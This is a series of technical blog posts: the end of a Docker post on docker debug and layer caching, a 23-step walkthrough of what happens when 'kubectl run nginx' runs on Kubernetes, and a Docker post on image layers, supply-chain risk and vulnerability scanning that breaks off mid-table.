`docker debug` attaches a debug shell to *any* container or image, even distroless, even scratch-based, even stopped containers. It injects a temporary toolbox with a shell, common utilities, and diagnostic tools without modifying the target image.

This is a game-changer for production debugging. You built a minimal, secure image. Now you can still inspect it when things go sideways without compromising your security posture by shipping a shell in production.

You can also use it to inspect any image directly:

```bash
docker debug myapp:latest
```

This drops you into the filesystem of that image. You can poke around, check what files exist, verify environment variables, and understand the exact state of what you shipped. No more adding `RUN ls -la` to your Dockerfile and rebuilding 14 times.

* * *

## 6\. What Nobody Tells You

> **Every** `RUN`**,** `COPY`**, and** `ADD` **instruction creates a filesystem snapshot.** That's not a metaphor. Docker literally takes a diff of the filesystem before and after each instruction and stores it as a compressed tar layer. Metadata instructions (`ENV`, `EXPOSE`, `CMD`, `USER`, `LABEL`) don't touch the filesystem; they just attach metadata to the image and appear as zero-byte entries in `docker history`.
> 
> This means the *order* of your instructions isn't just a style preference. It's an architecture decision. Reorder your instructions and build time changes by 10x. Put your `COPY . .` in the wrong place and you invalidate your entire cache on every single commit. Put a `RUN rm -rf /tmp/build` after a `RUN make install` and the deleted files still exist in the previous layer (they're just marked as deleted in the new one, and the image doesn't shrink).
> 
> Once you internalize that a Dockerfile is a sequence of filesystem snapshots, not a shell script, everything about Docker image optimization clicks into place. Layer ordering, cache invalidation, multi-stage builds, `.dockerignore`: they're all consequences of this one mental model.

* * *

## 7\. Quick Reference

### Core Dockerfile Instructions

| Instruction | What It Actually Does |
| --- | --- |
| `FROM` | Chooses the starting filesystem |
| `WORKDIR` | Sets (and creates) the working directory |
| `COPY` | Adds files; order determines cache strategy |
| `RUN` | Executes a command, snapshots the result |
| `EXPOSE` | Metadata only, documents the port |
| `USER` | Switches to non-root; set this before COPY so files get the right ownership |
| `CMD` | Default process; shell form is simpler, exec form `["..."]` gives direct signal handling |
| `ENTRYPOINT` | Fixed executable; CMD becomes its arguments |
| `ENV` | Sets env vars that persist to runtime |
| `HEALTHCHECK` | Tells Docker how to verify the app is alive |

### Build Commands You'll Actually Use

```bash
docker build -t myapp .                     # standard build
docker build --no-cache -t myapp .          # force full rebuild
docker build -f Dockerfile.prod -t myapp .  # use a specific Dockerfile
docker init                                 # generate a production Dockerfile
docker history myapp                        # inspect layer sizes
docker debug mycontainer                    # shell into anything (Docker Desktop, paid sub)
```

### The Cache Rule

```plaintext
Things that change RARELY   ->  top of Dockerfile    ->  cached forever
Things that change SOMETIMES ->  middle               ->  cached usually
Things that change OFTEN     ->  bottom               ->  rebuilt quickly
```

* * *

## What's Next: Day 4

You can now build production images that are small, secure, and fast to rebuild. But containers are ephemeral. When they stop, their writable layer vanishes. Your database, your uploads, your logs: gone.

On **Day 4: Docker Volumes & Persistent Storage**, we tackle the hard problem: making data survive container death. Volumes, bind mounts, named volumes, and the patterns that keep your data safe when everything else is disposable.

See you tomorrow.

---

# What Actually Happens When You Run kubectl run nginx

- Canonical: https://blog.kubesimplify.com/kubectl-run-nginx-inside
- Published: 2026-04-24
- Summary: Every step of what happens when you run kubectl run nginx on Kubernetes. From argv to etcd Raft, scheduler, CRI, CNI, runc, and PLEG.

So you type `kubectl run nginx --image nginx`. One line, one pod. About a second later on a warm cluster, the pod is Running. But what actually happens behind the scenes? Let us walk through it, step by step, step by step.

%[https://www.youtube.com/watch?v=LLuUhU3SwJo&t=4s] 

## TL;DR, the 23 steps

1.  `kubectl` parses argv and builds a minimal Pod object.
    
2.  It reads `~/.kube/config` for cluster, user, and context.
    
3.  A TCP connection is opened to the API server. TLS 1.3 negotiates keys in one round trip with mutual cert auth.
    
4.  `kubectl` sends `POST /api/v1/namespaces/default/pods` with a JSON body over HTTP/2.
    
5.  The API server authenticates the caller (x509, bearer token, OIDC, or webhook).
    
6.  It authorizes the request against RBAC. Can this user create pods in default?
    
7.  Mutating admission runs. `ServiceAccount` injects a projected token volume, `LimitRanger` fills in default requests and limits, and so on.
    
8.  The API server defaults missing fields (DNS policy, restart policy, termination grace period) and then validates against the OpenAPI schema.
    
9.  Validating admission runs. `ResourceQuota`, `PodSecurity`, any `ValidatingAdmissionWebhook`, and the built in `ValidatingAdmissionPolicy` CEL engine (GA since 1.30).
    
10.  The API server writes to etcd via Raft. Leader replicates, followers fsync, a majority acks, and only then does the pod exist.
     
11.  The API server returns `201 Created`. `kubectl` prints `pod/nginx created`.
     
12.  Watch fanout. Every component holding an open watch stream (scheduler, kubelets, controllers) is notified within milliseconds.
     
13.  The scheduler runs Filter plugins. `NodeResourcesFit`, `NodeAffinity`, `TaintToleration`, `PodTopologySpread`, `VolumeBinding`.
     
14.  It runs Score plugins. `NodeResourcesBalancedAllocation`, `ImageLocality`, `InterPodAffinity`, `NodeAffinity`.
     
15.  The winning node gets picked. Scheduler POSTs to `/pods/nginx/binding`, which updates `spec.nodeName`. One more etcd write.
     
16.  The kubelet on that node sees the bound pod through its watch. `syncPod` fires.
     
17.  Kubelet calls the container runtime over CRI (`RunPodSandbox`). containerd creates the pause container, PID 1, calling `pause(2)` and holding the pod's network namespace.
     
18.  The CNI plugin (Calico, Flannel, Cilium, your choice) runs ADD. It creates a veth pair, allocates an IP from the pod CIDR, programs routes.
     
19.  Image pull. containerd fetches the manifest, then the layers, verifying each with SHA-256.
     
20.  Container create. The runtime stacks image layers with overlayfs, writes the OCI runtime spec, and asks runc to create.
     
21.  runc takes over. `clone3` with namespace flags (PID, mount, UTS, IPC), `setns` into the sandbox's network namespace, mount `/proc`, `pivot_root`, drop capabilities, apply the seccomp filter, `execve` nginx.
     
22.  Kubelet's PLEG notices the container started. Most clusters still poll the runtime every second. Evented PLEG is the newer event stream version but it is still alpha in 1.36, so don't assume it is on.
     
23.  The status manager patches `pod.status` to Running back to the API server. Done.
     

## Setting the stage

I teach Kubernetes on the [Kubesimplify YouTube](https://www.youtube.com/@kubesimplify)ouTube channel, and I still get asked the same question in workshops. What actually happens when I run `kubectl run`? Most answers stop at "the API server writes to etcd and the scheduler picks a node." That is true, but it is the one line summary of a story that has twenty-three chapters.

So this post is the long form of the six-minute video I just shipped, paired with an [interactive site](https://kubernetes-explained.vercel.app/pod) you can scrub through step by step. If you are a platform engineer who already knows what a pod is, my goal is that by the end of this you can name the plugins, the syscalls, the admission chain order, and the CRI calls. And you should be able to point at the Kubernetes source tree when you need to go deeper.

Everything below is checked against Kubernetes 1.36.0, which shipped on April 22, 2026. Where a feature gate matters, I call the version out explicitly.

## Phase 1, the client side (kubectl)

### Step 1: kubectl parses your command

`kubectl run` is a subcommand whose job is to take sparse user input and build a valid Pod object. The code lives in `staging/src/k8s.io/kubectl/pkg/cmd/run/run.go`. For `kubectl run nginx --image nginx`, the object kubectl builds locally is roughly this.

```yaml
apiVersion: v1
kind: Pod
metadata:
  name: nginx
spec:
  containers:
    - name: nginx
      image: nginx
```

So notice what is not there. No `restartPolicy`, no `dnsPolicy`, no `terminationGracePeriodSeconds`, no `serviceAccountName`, no `imagePullPolicy`. kubectl deliberately sends a minimal object. All those fields are filled in by the API server during defaulting, which happens after admission and before validation. This is the first real insight. The object you POST and the object etcd ends up storing, they are not the same.

### Step 2: Reading kubeconfig

kubectl needs to know where to send the request. It reads `~/.kube/config` (or whatever `$KUBECONFIG` points at) and resolves three things. The cluster (API server URL, CA bundle), the user (client certs, token, exec plugin), and the context (which cluster and user pair plus a default namespace). The logic sits in `client-go/tools/clientcmd`. If you run `kubectl --v=8`, you can watch this resolution happen inline.

### Step 3: TCP plus TLS 1.3 handshake

kubectl opens a TCP connection to the API server on port 6443 and runs a TLS 1.3 handshake. TLS 1.3 is important here. It negotiates keys in a single round trip (TLS 1.2 needed two), and it does so with mutual authentication when you are using a client certificate. Both sides present certs, both sides verify against a CA. Same primitives your browser uses, nothing exotic. But worth noticing because every subsequent byte rides this mTLS tunnel.

### Step 4: HTTP/2 POST to the API server

kubectl serializes the pod object to JSON, not YAML. YAML is a client side convenience, the wire format is JSON by default. Then it sends `POST /api/v1/namespaces/default/pods` over HTTP/2. Content-Type is `application/json`. HTTP/2 matters because all the watch streams later in the story will multiplex over the same connection.

### Step 5: Request lands at the API server

The request hits kube-apiserver. The code path is the generic API server filter chain in `staging/src/k8s.io/apiserver/pkg/server/filters`. Every inbound request goes through the same stack of filters in order. Panic recovery, request deadline, auditing, authentication, impersonation, authorization, admission, validation. Most of the next phase is those filters.

## Phase 2, the API server gate

### Step 6: Authentication, "who are you?"

So the API server asks the first question. Who are you? The API server has four authenticator backends chained together. x509 client certificates, bearer tokens (static, service account, or OIDC), OIDC directly (with JWT verification against the configured issuer), and authentication webhooks (the TokenReview API). The first one that returns a positive identity wins.

For `kubectl` with a standard kubeconfig, you are usually on x509. The cert you presented in the TLS handshake is reused to populate `user.Info` with the CN as the username and the O values as groups. Code: `staging/src/k8s.io/apiserver/pkg/authentication`.

### Step 7: Authorization, "can you do this?"

With identity established, the next question. Can this user perform create on the resource pods in the namespace default? The default authorizer is RBAC, backed by `Role`, `ClusterRole`, `RoleBinding`, `ClusterRoleBinding` objects. Multiple authorizers can be chained. In managed clusters you will often see `Node,RBAC`. The Node authorizer restricts what a kubelet can ask for, RBAC handles everything else. A single "allow" is enough. Explicit denies don't exist in RBAC.

### Step 8: Mutating admission

This is the fun one. Mutating admission plugins run first, before schema validation, and they are allowed to change the object. Built-in mutators that fire for a pod create include:

*   `ServiceAccount`. Injects the projected service account token volume and the `automountServiceAccountToken` default.
    
*   `DefaultStorageClass`, `DefaultTolerationSeconds`, `PodNodeSelector`, `RuntimeClass`, depending on cluster config.
    
*   `LimitRanger`. Applies default `resources.requests` and limits when a `LimitRange` exists in the namespace.
    
*   Every `MutatingAdmissionWebhook` you have registered. Service meshes like Istio inject their sidecar here.
    
*   `MutatingAdmissionPolicy`. The CEL based in-process alternative to webhooks. This went GA (v1) in 1.36, so you no longer need a feature gate for the stable path.
    

Each plugin runs sequentially. The order that ships in the API server defaults matters. `ServiceAccount` before `LimitRanger`, for example. Source: `plugin/pkg/admission` in kubernetes/kubernetes.

### Step 9: Schema validation

After mutation, the API server defaults remaining missing fields (`restartPolicy: Always`, `dnsPolicy: ClusterFirst`, `terminationGracePeriodSeconds: 30`, `serviceAccountName: default`) and validates the now complete object against the OpenAPI v3 schema published at `/openapi/v3`. Invalid names, empty required fields, wrong field types, all rejected here with a `422 Invalid`.

### Step 10: Validating admission

Validating admission is a second admission pass that cannot mutate. Built-ins include:

*   `ResourceQuota`. Do the namespace's quotas have room for this pod's requests?
    
*   `PodSecurity`. Does the pod meet the restricted, baseline, or privileged profile the namespace is labeled with?
    
*   Every `ValidatingAdmissionWebhook` you have registered.
    
*   `ValidatingAdmissionPolicy`. CEL based in-process validation, GA since 1.30. A great replacement for Kyverno or OPA in many cases.
    

So here is the subtle bit. Mutating admission runs before validating admission. If a user's webhook mutates a field, the validating chain sees the mutated value, not the original. This ordering is easy to get wrong in your head, and it matters when you are writing policy.

### Step 11: etcd plus Raft quorum

Now the API server persists the pod. This is not a plain disk write. etcd is a Raft replicated key value store. The leader appends the entry to its Raft log, replicates to followers, each node fsyncs to disk, and only after a majority (3 of 5 in a typical HA setup) acks does the leader commit. The API server's storage layer blocks on that commit.

So if you ever see API latency spike, it is almost always etcd disk latency. Check `etcd_disk_wal_fsync_duration_seconds`. This is really, really important to know when you are debugging a slow cluster.

### Step 12: 201 Created

The API server responds `201 Created` with the full defaulted and mutated pod object in the body. kubectl prints:

```plaintext
pod/nginx created
```

From your terminal's perspective, it is done. From the cluster's perspective, the real work has not started.

## Phase 3, the control loop hands off

### Step 13: Watch fanout

Every long running component in Kubernetes holds an HTTP/2 watch stream to the API server. The scheduler watches unscheduled pods. Every kubelet watches pods bound to its node. Controllers watch their respective resources.

So when a new pod is written to etcd, the API server's watch cache broadcasts the event to all subscribers. No polling, no round trips, just a chunked HTTP/2 frame per event. Milliseconds. Source: `staging/src/k8s.io/apiserver/pkg/storage/cacher`.

### Step 14: Scheduler, Filter

kube-scheduler receives the event. The pod has no `spec.nodeName`, so it is scheduler's problem. The scheduler runs a configurable pipeline of plugins, grouped into extension points. `PreFilter`, `Filter`, `PostFilter`, `PreScore`, `Score`, `Reserve`, `Permit`, `PreBind`, `Bind`, `PostBind`. For filter:

*   `NodeResourcesFit`. The node has enough allocatable CPU, memory, and ephemeral storage for the pod's requests.
    
*   `NodeAffinity`. The pod's `nodeAffinity` and `nodeSelector` match the node's labels.
    
*   `TaintToleration`. The pod tolerates the node's taints.
    
*   `PodTopologySpread`. The placement respects any topology spread constraints.
    
*   `VolumeBinding`. All unbound PVCs can be bound to volumes reachable from this node.
    
*   `InterPodAffinity` (at the filter level for hard constraints).
    

Any node that fails any filter is eliminated. Plugin source: `pkg/scheduler/framework/plugins`.

### Step 15: Scheduler, Score

Surviving nodes get scored by a second set of plugins.

*   `NodeResourcesBalancedAllocation`. Prefers nodes with balanced CPU and memory utilization, so you don't pack a CPU heavy pod onto an already CPU saturated node.
    
*   `ImageLocality`. Prefers nodes that already have the container image cached locally. This saves image pull time.
    
*   `InterPodAffinity`. Soft affinity and anti-affinity preferences.
    
*   `NodeAffinity`. Soft (preferred) affinity terms.
    
*   `TaintToleration`. Soft toleration scoring.
    

Each plugin returns a score 0 to 100 per node. Scores are normalized, weighted, and summed. Highest total wins. Ties are broken with a random pick using Go's `rand.Int()`.

One thing to flag here. Kubernetes 1.36 graduated Dynamic Resource Allocation (DRA) to GA. If you are scheduling GPU workloads or other devices through DRA, the scheduler's resource claim handling is now stable. Worth reading the KEP if you are running AI workloads.

### Step 16: Scheduler, Bind

The scheduler POSTs to the binding subresource. `POST /api/v1/namespaces/default/pods/nginx/binding` with `target.name=node-1`. This is what actually updates `spec.nodeName` in etcd. One more Raft write.

So here is a fun detail. The scheduler never writes `spec.nodeName` directly on the pod. It always goes through binding. This exists precisely because binding is a separate privilege you can RBAC.

## Phase 4, the kubelet brings the pod to life

### Step 17: Kubelet SyncPod

Kubelet on the bound node has been watching `pods?fieldSelector=spec.nodeName=node-1` since startup. It sees the update, runs its pod admission checks (eviction pressure, kubelet level `PodSecurityContext` sanity), and calls `syncPod` in `pkg/kubelet/kubelet.go`. SyncPod is the reconciliation loop. It compares the desired pod spec with the current runtime state and issues CRI calls to bring them into alignment.

### Step 18: CRI, sandbox and the pause container

Before any app container runs, the kubelet creates a pod sandbox. It calls `RunPodSandbox` over the CRI gRPC API on the runtime's socket (`/run/containerd/containerd.sock` by default). containerd launches the pause container. A tiny statically linked binary whose entire job is to call `pause(2)` and block forever as PID 1.

But why? Because the pause container is what owns the pod's Linux namespaces, especially the network namespace. When you add more containers to the pod, they `setns` into the pause container's namespaces. If an app container dies and restarts, the namespaces (and the IP) survive because pause is still there.

### Step 19: CNI, pod gets networking

With the sandbox up, the runtime invokes the CNI plugin specified in `/etc/cni/net.d/*.conflist` (whichever is lexically first). Calico, Flannel, Cilium, Weave, the plugin you installed. CNI's contract is simple. A binary that reads JSON from stdin, takes an action (`ADD`, `DEL`, `CHECK`), and returns JSON to stdout. The `ADD` call:

1.  Creates a veth pair. One end in the pod's network namespace, one end on the node.
    
2.  Allocates an IP from the pod CIDR. IPAM is either a local store, Kubernetes IPAM, or an external controller.
    
3.  Programs routes and iptables or eBPF rules on the host.
    
4.  Optionally sets up sysctls inside the pod's netns.
    

When this returns, `kubectl get pod -o wide` will start showing `podIP`.

### Step 20: Image pull

Kubelet calls `PullImage` over CRI. containerd resolves the reference (`nginx` to `docker.io/library/nginx:latest`), fetches the manifest, then pulls each layer in parallel, verifying SHA-256 digests on every chunk. First pull for a popular image over broadband is a few seconds. Cached? About 100 ms. containerd just revalidates the manifest and returns.

### Step 21: Container create

With the image unpacked, the runtime assembles the container.

*   Stacks the image layers as read only lower layers and adds a writable upper layer using overlayfs. The result is the container's rootfs.
    
*   Writes the OCI runtime spec (`config.json`). A JSON document describing every mount, every namespace flag, every capability, the seccomp profile, the apparmor profile, the cgroup limits, the user, the entrypoint.
    
*   Creates a bundle directory containing the rootfs and `config.json` and hands it to runc with `runc create`.
    

OCI runtime spec lives in the `opencontainers/runtime-spec` repo. This is the same spec Podman, CRI-O, and gVisor use. It is the portability boundary.

## Phase 5, runc, namespaces, and the first breath

### Step 22: runc

So this is the single coolest part of the whole pipeline. runc takes the bundle and does the following.

1.  Calls `clone3` with flags `CLONE_NEWPID | CLONE_NEWNS | CLONE_NEWUTS | CLONE_NEWIPC`. On a modern kernel, `clone3` is preferred over the older `clone` because it takes a structured argument and supports more namespace flags cleanly. The network namespace is not created here. Instead, runc uses `setns` to enter the sandbox's network namespace that CNI created earlier, so the new container shares the pod IP.
    
2.  Inside the new process, mounts `/proc` for the new PID namespace.
    
3.  `pivot_root` into the overlayfs rootfs, then unmounts the old root.
    
4.  Drops Linux capabilities to the OCI spec's bounding set. The default for a non-privileged container is a tight whitelist. No `CAP_SYS_ADMIN`, no `CAP_NET_ADMIN`.
    
5.  Applies the seccomp filter. The runtime default profile blocks around 40 syscalls, like `kexec_load`, certain `unshare` flags, and `bpf` without capability.
    
6.  Joins the cgroup v2 hierarchy with the configured CPU and memory limits.
    
7.  Calls `execve` on the container's entrypoint, `nginx -g daemon off;`. `execve` is the syscall that replaces the current process image with a new program while keeping the PID. This is the moment nginx is alive.
    

If you `strace -f` runc during create, you will see this whole dance. It is worth doing once.

### Step 23: PLEG and the Running status

Kubelet needs to know the container started. Historically, kubelet's PLEG (Pod Lifecycle Event Generator) polled the runtime every second via `ListContainers`, diffed the result, and emitted events. On a big node with hundreds of pods, this was a measurable source of CPU load.

So there is a newer path called Evented PLEG. It opens a CRI event stream (`ContainerEventsRequest`) so containerd pushes events like `CONTAINER_STARTED_EVENT` and `CONTAINER_STOPPED_EVENT` as they happen. But here is the thing. Evented PLEG is still alpha in 1.36. It was alpha in 1.25, promoted to beta in 1.27, then reverted to alpha in 1.30 after a static pod bug. It is disabled by default. So if you are reading kubelet code today, assume the polling path is what is actually running on your cluster.

When kubelet sees a new container has started (through polling or evented), the status manager computes the pod's phase as Running and patches `pod.status` back to the API server via a JSON merge patch. Watchers (you, with `kubectl get pod -w`) see the transition. The status patch is also the signal to any controller waiting on this pod. For example, the endpoints controller, which is about to add the pod's IP to a Service's `EndpointSlice`.

And that is the whole journey. From `argv[1]` in your shell to nginx serving on port 80, about a second on a warm cluster.

## Further reading

*   [kubernetes/kubernetes](https://github.com/kubernetes/kubernetes). The source tree. Start in `pkg/kubelet`, `pkg/scheduler`, `staging/src/k8s.io/apiserver`.
    
*   [CRI spec](https://github.com/kubernetes/cri-api). The gRPC contract between kubelet and the runtime.
    
*   [CNI spec](https://github.com/containernetworking/cni). The plugin contract for pod networking.
    
*   [OCI runtime spec](https://github.com/opencontainers/runtime-spec). The container bundle and config format runc consumes.
    
*   [OCI image spec](https://github.com/opencontainers/image-spec). Manifests, layers, and the SHA-256 content addressable model.
    
*   [KEP-3386 Evented PLEG](https://github.com/kubernetes/enhancements/tree/master/keps/sig-node/3386-kubelet-evented-pleg). The design doc for the CRI event driven PLEG, still alpha in 1.36.
    
*   [kube-scheduler plugin docs](https://kubernetes.io/docs/reference/scheduling/config/#scheduling-plugins). The official list of in-tree plugins and their extension points.
    

## Watch and play

*   Video (6 min): [What Actually Happens When You Run kubectl run nginx (23 Steps)](https://youtu.be/LLuUhU3SwJo?si=GyN5qYp71OgXMWFA) on the Kubesimplify YouTube channel.
    
*   Interactive site: [kubernetes-explained.vercel.app/pod](https://kubernetes-explained.vercel.app/pod). Pause, scrub, jump to any step, copy the code for yourself.
    

So if you liked this, the next one in the series is the scheduler deep-dive. How `kube-scheduler` actually decides. Subscribe on the channel so you catch it, and tell me in the comments which step surprised you. That is how I know what to unpack next.

---

# Day 2: Your Images Are a Supply Chain - and It's Probably Broken

- Canonical: https://blog.kubesimplify.com/day-2-your-images-are-a-supply-chain-and-it-s-probably-broken
- Published: 2026-04-23

> **7 Days of Docker (2026)** - by Saloni Narang, Docker Captain & CNCF Ambassador

I'm a Docker Captain. I've seen hundreds of Docker tutorials explain images as "blueprints" or "templates" and then move on. That's not good enough anymore. In March 2026, the tool you use to scan for vulnerabilities *was* the vulnerability - attackers pushed backdoored Trivy scanner images to Docker Hub, and thousands of CI/CD pipelines had their secrets stolen before anyone noticed.

If you don't understand what an image actually is, where it comes from, and how to verify it, you're not just writing bad Dockerfiles. You're leaving the door open.

Today, we fix that.

* * *

## What IS an Image? (Not "Layers Like a Cake")

Forget the analogies. Here's what actually happens.

A Docker image is an **OCI artifact**. It consists of:

1.  **A manifest** - a JSON document listing references to filesystem diffs and configuration
    
2.  **Blobs** - compressed tarballs containing filesystem changes
    
3.  **A config** - JSON metadata (environment variables, entrypoint, exposed ports)
    

When you run `docker pull nginx:alpine`, Docker contacts a registry, downloads that manifest, then fetches the blobs it doesn't already have. That's it. There is no magic.

The OCI (Open Container Initiative) standardized this format so that images are portable across any compliant runtime — Docker, Podman, containerd, you name it. An image is not a Docker-specific thing. It's a distribution format for filesystem snapshots.

> **What Nobody Tells You:** The word "image" is misleading. There is no single file. An image is a collection of independently addressable, content-hashed blobs assembled by a manifest. When you "pull an image," you are downloading a graph of content-addressed objects. Understanding this changes how you think about caching, sharing, and security.

* * *

## Layers - The Real Story

Every instruction in a Dockerfile produces a filesystem snapshot. Docker uses a **union filesystem** (OverlayFS on Linux) to stack these snapshots and present them as a single coherent filesystem to the container.

![](/img/blog/day-2-your-images-are-a-supply-chain-and-it-s-probably-broken/dcc9ed12-fef1-42ee-b34b-23902fbed7ab.png align="center")

Here's what this means in practice:

*   **Each layer is a diff.** It records what files were added, modified, or deleted compared to the layer below it.
    
*   **Layers are content-addressed.** Each one has a SHA256 digest. Same content = same hash = stored once.
    
*   **Copy-on-write.** When a container starts, Docker adds a thin writable layer on top. Reads fall through to the image layers. Writes get captured in the writable layer. The image layers are never touched.
    

This is why `docker pull` says "Already exists" for layers you already have from another image. If `nginx:alpine` and `redis:7-alpine` share the same Alpine base layer, Docker stores it once, and both images reference it.

Let's see this with a real image. Pull `nginx:alpine` and then inspect its history:

```bash
docker pull nginx:alpine
```

```console
alpine: Pulling from library/nginx
d17f077ada11: Pull complete
910c2a6cad6d: Pull complete
a89d14ef5abe: Pull complete
a96b658a00fe: Pull complete
10cbc192f783: Pull complete
634f1d1ce0f7: Pull complete
83fbf849ee89: Pull complete
662c8d6f6620: Pull complete
Digest: sha256:5616878291a2eed594aee8db4dade5878cf7edcb475e59193904b198d9b830de
Status: Downloaded newer image for nginx:alpine
docker.io/library/nginx:alpine
```

Now look at how the image was built:

```bash
docker history nginx:alpine
```

```console
IMAGE          CREATED      CREATED BY                                      SIZE
7f7dcd27f920   6 days ago   RUN /bin/sh -c set -x && apkArch="$(cat ...    48.3MB
<missing>      6 days ago   CMD ["nginx" "-g" "daemon off;"]                0B
<missing>      6 days ago   STOPSIGNAL SIGQUIT                              0B
<missing>      6 days ago   EXPOSE map[80/tcp:{}]                           0B
<missing>      6 days ago   ENTRYPOINT ["/docker-entrypoint.sh"]            0B
<missing>      6 days ago   COPY 30-tune-worker-processes.sh...             4.62kB
<missing>      6 days ago   RUN /bin/sh -c set -x && addgroup -g 101...    4.51MB
<missing>      6 days ago   ENV NGINX_VERSION=1.29.8                        0B
<missing>      6 days ago   CMD ["/bin/sh"]                                 0B
<missing>      6 days ago   ADD alpine-minirootfs-3.23.3-aarch64.tar.gz    8.7MB
```

Read bottom-to-top. The base Alpine filesystem is 8.51 MB. The nginx install adds 40.5 MB. `CMD`, `ENV`, `EXPOSE` — those create 0-byte metadata-only layers. The `<missing>` entries mean those layers were built on a remote build server, which is completely normal for pulled images.

> **What Nobody Tells You:** Not every Dockerfile instruction creates a layer that takes disk space. Only `RUN`, `COPY`, and `ADD` produce filesystem changes. Everything else (`CMD`, `ENV`, `EXPOSE`, `LABEL`, `ENTRYPOINT`) is metadata written into the image config JSON. When you see "0B" in `docker history`, that's why.

* * *

## The Supply Chain Problem

Images come from registries. Registries can be compromised. And in March 2026, they were.

Attackers pushed backdoored versions of the Trivy vulnerability scanner to Docker Hub. Trivy — the tool that organizations run in their CI/CD pipelines to *detect* compromised images — was itself compromised. The backdoored images exfiltrated environment variables, secrets, and CI tokens from every pipeline that pulled them. Thousands of organizations were affected before the images were pulled down.

Think about that. The security tool was the attack vector.

This isn't a hypothetical. This happened. And it happened because most teams treat `docker pull` it like `apt install` - They assume the registry is trustworthy and the image is what it claims to be.

**Your images are a supply chain.** Every `FROM` in your Dockerfile, every base image you pull, every tool you run in CI — it's a link in that chain. One compromised link and everything downstream is exposed.

* * *

## Docker Scout: Not Optional in 2026

After March 2026, image scanning is not a "nice to have." Docker Scout is built into the Docker CLI and gives you visibility into what's inside your images.

Start with a quick overview:

```bash
docker scout quickview nginx:alpine
```

```console
 Target             │  nginx:alpine            │    0C     2H     9M     1L     1?
   digest           │  7f7dcd27f920            │
 Base image         │  nginx:1-alpine-slim     │    0C     0H     1M     0L
 Updated base image │  nginx:1.30-alpine-slim  │    0C     0H     1M     0L
```

Zero critical. 2 high. 9 medium. This is actually a *good* result -> nginx:alpine was just patched days ago. But run this same scan on an image you haven't updated in 3 months and watch the numbers explode. The point is: **you wouldn't know without scanning.**

Let's dig into what's still there:

```bash
docker scout cves nginx:alpine --only-severity critical,high
```

```console
## Packages and Vulnerabilities

   0C     1H     0M     0L  nghttp2 1.68.0-r0

    ✗ HIGH CVE-2026-27135
      https://scout.docker.com/v/CVE-2026-27135
      Affected range : <=1.68.0-r0
      Fixed version  : not fixed

   0C     1H     0M     0L  curl 8.17.0-r1

    ✗ HIGH CVE-2026-3805
      https://scout.docker.com/v/CVE-2026-3805
      Affected range : <=8.17.0-r1
      Fixed version  : not fixed

2 vulnerabilities found in 2 packages
  CRITICAL  0
  HIGH      2
```

Even a freshly-pulled, just-patched image has 2 high-severity CVEs, and both say "not fixed" yet. These are zero-day-adjacent vulnerabilities in curl and nghttp2, sitting in every nginx:alpine container on the planet right now. Imagine what your 6-month-old base image looks like.

Docker Scout generates SBOMs (Software Bills of Materials), tracks CVEs across your image catalog, and integrates with CI. If you're not running this, you're flying blind.

## Docker Hardened Images (DHI)

Docker released Hardened Images as a direct response to the supply chain crisis. Here's what they offer:

*   **95% fewer CVEs** compared to standard Docker Hub images
    
*   **Rootless by default** - no process runs as root
    
*   **Distroless runtime** - minimal attack surface, no shell, no package manager
    
*   **7-day fix guarantee** - critical CVEs patched within a week
    
*   **1000+ images** available and growing
    
*   **Free and open source** under Apache 2.0
    

In practice, switching from `nginx:alpine` to a Docker Hardened Image means you inherit a fraction of the vulnerability surface. For anything running in production, DHI should be your default starting point.

> **Pro Tip:** DHI images are distroless at runtime - there is no shell to `docker exec` into for debugging. During development, use the standard image. In your production Dockerfile stage, switch to the DHI variant. Multi-stage builds (Day 3) make this trivial.

* * *

## Image Naming - More Than You Think

![](/img/blog/day-2-your-images-are-a-supply-chain-and-it-s-probably-broken/b59d276b-d277-48f4-83fb-84224ee0dc92.png align="center")

The full format of an image reference:

```plaintext
registry/namespace/repository:tag@sha256:digest
```

| Component | Example | Default |
| --- | --- | --- |
| **Registry** | `docker.io`, `ghcr.io`, `123456.dkr.ecr.us-east-1.amazonaws.com` | `docker.io` |
| **Namespace** | `library` (official), `myuser`, `myorg` | `library` |
| **Repository** | `nginx`, `redis`, `myapp` | *(required)* |
| **Tag** | `alpine`, `1.29.3`, `latest` | `latest` |
| **Digest** | `sha256:4ff102e6b2d5f84...` | *(none)* |

These are all equivalent:

```plaintext
nginx
nginx:latest
library/nginx:latest
docker.io/library/nginx:latest
```

Tags are **mutable**. Digests are **immutable**. This distinction matters more than almost anything else in this post.

> **What Nobody Tells You:** An image tagged `:latest` today and `:latest` tomorrow can be completely different binaries. Tags are pointers that can be moved. Anyone with push access can retag an image at any time. Digests are content hashes that cannot be faked. In production, pin `sha256` digests. In the March 2026 Trivy attack, the malicious images were pushed under *existing tags* — anyone pulling by tag got the backdoor. Anyone pinning by digest was unaffected.

* * *

## Hands-On: Inspect, Scan, Understand

Let's put it all together. Run these commands and understand what each one tells you.

**Check what's on disk:**

```bash
docker images --format "table {{.Repository}}\t{{.Tag}}\t{{.Size}}" | head -15
```

```console
REPOSITORY    TAG         SIZE
node          20-alpine   136MB
nginx         alpine      53.4MB
ubuntu        latest      101MB
hello-world   latest      5.2kB
alpine        latest      8.51MB
redis         7-alpine    41.7MB
```

Alpine is 8.51 MB. Ubuntu is 101 MB. For a base image, that's a 12x difference in attack surface before you've installed anything.

**Check disk usage across all Docker resources:**

```bash
docker system df
```

```console
TYPE            TOTAL     ACTIVE    SIZE      RECLAIMABLE
Images          86        17        22.49GB   5.294GB (23%)
Containers      41        0         366MB     366MB (100%)
Local Volumes   14        5         1.721GB   1.676GB (97%)
Build Cache     56        0         1.926GB   278.2kB
```

22.49 GB in images. 41 stopped containers taking 366 MB. 1.9 GB of build cache. Run `docker system prune -a` periodically, or this grows without bound.

**Pull process visualized:**

![](/img/blog/day-2-your-images-are-a-supply-chain-and-it-s-probably-broken/4c326005-1f16-49e5-966d-35c33d39ac27.png align="center")

When you `docker pull nginx:alpine`:

1.  Docker resolves `nginx:alpine` to `docker.io/library/nginx:alpine`
    
2.  Contacts the registry, fetches the manifest
    
3.  Checks each layer against local storage
    
4.  Downloads missing layers in parallel (compressed)
    
5.  Verifies every layer's SHA256 digest
    
6.  Assembles the image locally
    

If any digest doesn't match, the pull fails. This is content-addressable storage doing its job - but it only protects you against tampering *in transit*, not a compromised image at the source.

> **Pro Tip:** Need to pull for a different architecture? Use `--platform`: `docker pull --platform linux/amd64 nginx:alpine`. This is common when building on Apple Silicon for amd64 deployment targets.

* * *

## Quick Reference

| Command | What It Does |
| --- | --- |
| `docker pull nginx:alpine` | Download image from registry |
| `docker images` | List local images |
